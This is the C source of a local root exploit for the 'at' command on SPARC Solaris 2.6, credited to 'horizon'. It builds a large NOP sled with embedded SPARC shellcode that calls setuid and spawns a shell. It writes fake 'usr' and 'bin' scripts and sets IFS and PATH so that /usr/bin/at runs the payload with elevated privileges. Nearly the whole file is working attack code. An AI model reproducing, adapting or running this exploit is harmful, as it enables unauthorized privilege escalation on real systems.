/*
 * at sploit - tested on 2.6
 * by horizon - do not use
 * "I like to walk around and.. I'm paid to stand around.."
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define RUNWAY  200000
#define SPARC_NOP 0xac15a16e

#define ADDR 0xefffd008

u_char sparc_shellcode[] =
   "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
   "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
   "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
   "\x90\x0b\x80\x0e"
   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

int main(int argc, char *argv[])
{
   char buf[RUNWAY];
   char *holder;
   char *evec[4];
   FILE * f;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode);

   f=fopen("usr","w");
   fprintf(f,"#!/bin/sh\n");
   fprintf(f,"echo \'");
   for (i=0;i<250;i++)
      fprintf(f,"%c%c%c%c",
             (ADDR>>24)&255,
             (ADDR>>16)&255,
             (ADDR>>8)&255,
             (ADDR)&255);
   fprintf(f,"\'\n");
   fclose(f);
   system("cp usr bin");
   system("chmod 755 usr bin");

   long_p =(u_long *) buf ;
   
   for (i = 0; i < (RUNWAY - code_length) / sizeof(u_long); i++)
      *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   *char_p++ = 0;
	
   holder=malloc(10);
   sprintf(holder,"IFS=/");
   evec[0]=holder;
   holder=malloc(10);
   sprintf(holder,"PATH=.");
   evec[1]=holder;
   holder=malloc(RUNWAY+20);
   sprintf(holder,"BLAH=%s",buf);
   evec[2]=holder;
   evec[3]=NULL;

   printf("Hit Ctrl-D\n");
   printf("You won't see the output of your commands so aim well.\n");
   execle("/usr/bin/at","at","-k","now",NULL,evec);
}